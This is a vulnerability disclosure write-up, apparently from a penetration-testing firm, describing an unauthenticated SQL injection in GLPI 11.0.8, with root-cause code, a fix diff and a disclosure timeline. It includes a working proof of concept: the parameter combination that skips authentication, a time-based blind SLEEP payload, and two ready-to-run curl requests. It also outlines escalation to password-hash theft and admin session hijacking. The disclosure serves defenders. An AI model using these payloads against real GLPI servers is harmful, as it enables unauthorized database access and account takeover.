NEW

Les pentests automatisés par IA sont arrivés chez Mobeta

Unauthenticated SQL injection in GLPI

The GLPI administration interface, illustrating an unauthenticated SQL injection vulnerability in GLPI.

Context

GLPI is one of the most widely deployed open source IT asset management platforms. Helpdesk, inventory, tickets, contracts, directory: it concentrates sensitive operational data and is regularly found exposed on the Internet.

PropertyValue
Version testedGLPI 11.0.8, clean install, no plugins
ClassSQL injection (CWE-89)
AuthenticationNone
AdvisoryGHSA-753w-2942-4pxm

Reaching the vulnerable code without authentication

The entry point is front/planning.php. Two independent design choices combine to open the way for an anonymous client.

genical disables the rights check

// front/planning.php
if (!isset($_GET['genical'])) {
    Session::checkRight("planning", READ);
}

checkavailability short-circuits token validation

if (isset($_GET['checkavailability'])) {
    Planning::checkAvailability($_GET);          // reached first
} elseif (isset($_GET['genical'])) {
    if (isset($_GET['token'])) {
        // token validation here...
    }
}

The iCalendar token is only checked in the elseif branch. Since checkavailability is tested first, sending both parameters runs checkAvailability() without ever reaching the validation.

checkAvailability() accepts dates without validation

$begin = $params['begin'] ?? date('Y-m-d');
$end   = max($params['end'] ?? date('Y-m-d'), $begin);

The method checks that itemtype and its id (users_id) point to an existing record (itemtype=User&users_id=2, the default super-admin), then lets begin/end through without validation.

The full request:

GET /front/planning.php?genical=1&checkavailability=1&itemtype=User&users_id=2&begin=<INJECTION>&end=z

The root cause: concatenation into QueryExpression

checkAvailability() calls populatePlanning() and populateNotPlanned() for each planning type. The bug is in the not planned branch.

In CommonITILTask::genericPopulatePlanning() (reached via TicketTask, ChangeTask, ProblemTask):

// src/CommonITILTask.php  (~line 1379)
if (isset($options['not_planned'])) {
    $WHERE = [
        // ...
        new QueryExpression($edate . " >= '" . $begin . "'"),   // $begin injected raw
        new QueryExpression($bdate . " <= '" . $end   . "'"),   // $end   injected raw
    ];
} else {
    // safe branch: values escaped by the query builder
    $WHERE = [
        $item->getTable() . '.end'   => ['>=', $begin],
        $item->getTable() . '.begin' => ['<=', $end],
    ];
}

The else branch escapes $begin through the array syntax (['>=', $begin] → quoteValue()); the not_planned branch concatenates it raw into a QueryExpression. A ' then breaks out of the literal and injects arbitrary SQL.

The same pattern exists in ProjectTask::populatePlanning() (~line 1921).

This branch does run: populateNotPlanned() sets $options['not_planned'] = true (via genericPopulateNotPlanned()) before calling genericPopulatePlanning().

One quirk: the availability Twig template appends a time suffix to each bound (" 08:00:00" / " 20:00:00"). The payload closes the quote, injects the condition, then re-opens one to absorb the suffix, hence the AND '1 ending.

Exploitation

On a fresh install, the planning tables are empty, so a SLEEP() in the WHERE never fires. The way around it: an uncorrelated subquery with its own FROM clause is evaluated at optimization time, independently of the outer table. Targeting glpi_configs (always populated) gives a guaranteed evaluation:

begin = 2000-01-01' AND (SELECT IF(<CONDITION>, SLEEP(1), 0) FROM glpi_configs LIMIT 1) AND '1

The injection point is hit several times per request.

Proof of concept

Two requests, only the condition changes (1=2 vs 1=1):

curl -sS -o /dev/null \
  -w 'HTTP %{http_code} - %{time_total}s\n' \
  --get 'http://127.0.0.1:8081/front/planning.php' \
  --data-urlencode 'genical=1' \
  --data-urlencode 'checkavailability=1' \
  --data-urlencode 'itemtype=User' \
  --data-urlencode 'users_id=2' \
  --data-urlencode "begin=2000-01-01' AND (SELECT IF(1=2, SLEEP(1), 0) FROM glpi_configs LIMIT 1) AND '1" \
  --data-urlencode 'end=z'
curl -sS -o /dev/null \
  -w 'HTTP %{http_code} - %{time_total}s\n' \
  --get 'http://127.0.0.1:8081/front/planning.php' \
  --data-urlencode 'genical=1' \
  --data-urlencode 'checkavailability=1' \
  --data-urlencode 'itemtype=User' \
  --data-urlencode 'users_id=2' \
  --data-urlencode "begin=2000-01-01' AND (SELECT IF(1=1, SLEEP(1), 0) FROM glpi_configs LIMIT 1) AND '1" \
  --data-urlencode 'end=z'

Impact

An unauthenticated remote attacker can read the entire GLPI application database: password hashes, configuration, inventory, tickets, projects, users. Depending on the version, this read access can lead to an administrator account takeover (detailed below) and remote code execution.

Multi-version analysis: GLPI 10, 11 and 12

The same bug produces very different effects depending on what surrounds it.

GLPI 10.x

The injection point exists in 10.x, but GLPI ≤ 10 applies global input escaping as early as inc/includes.php: Sanitizer::sanitize($_GET) passes every value through $DB->escape() (mysqli::real_escape_string()).

The injected ' becomes \' before it reaches the SQL. The general_log shows:

... WHERE `glpi_changetasks`.`date` >= '2000-01-01\' AND SLEEP(2) AND \'1 08:00:00' ...

The payload is folded back into the string literal, SLEEP() does not run. GLPI 10 is therefore not exploitable through this injection.

GLPI 11.0.8

GLPI 11 dropped global escaping in favor of contextual escaping inside the query builder. A good long-term choice - except that a hand-built QueryExpression bypasses that layer. The raw ' reaches the query intact, and the injection works.

The injection is read-only, and 11.0.8 stores no replayable secret in clear text: sessions on disk, encrypted tokens. One lever is to retrieve the password hashes and crack them.

12-dev branch

On the 12 branch, the SessionTracker stores PHP session identifiers in clear text in glpi_users_sessions (column session_file). No more hash to crack: the oracle extracts the session identifier of a logged-in admin.

This observation is reported so that it can be handled before a stable release. The 12-dev branch is not among the affected stable versions.

Fix and recommendations

The fix (GHSA-753w-2942-4pxm) replaces the raw concatenation with quoteValue():

-                new QueryExpression($edate . " >= '" . $begin . "'"),
-                new QueryExpression($bdate . " <= '" . $end . "'"),
+                new QueryExpression($edate . " >= " . $DB::quoteValue($begin)),
+                new QueryExpression($bdate . " <= " . $DB::quoteValue($end)),

Applied to src/CommonITILTask.php and src/ProjectTask.php.

Disclosure timeline

DateEvent
2026-08-03Reported to the GLPI security team
2026-08-10Report confirmed
2026-08-12CVE assignment requested
2026-09-07Fix validated, private fork deleted
2026-09-16GLPI 11.0.9 released (patched version)
2026-10-20Article released
PendingCVE assignment

References

Ces techniques s’appliquent
à votre périmètre ?

Un échange de 30 min avec nos pentesters certifiés pour cadrer votre exposition. Sans engagement.

Planifier un échange

Quel est votre niveau
d’exposition réel ?

30 minutes avec un expert pour le savoir. Sans engagement.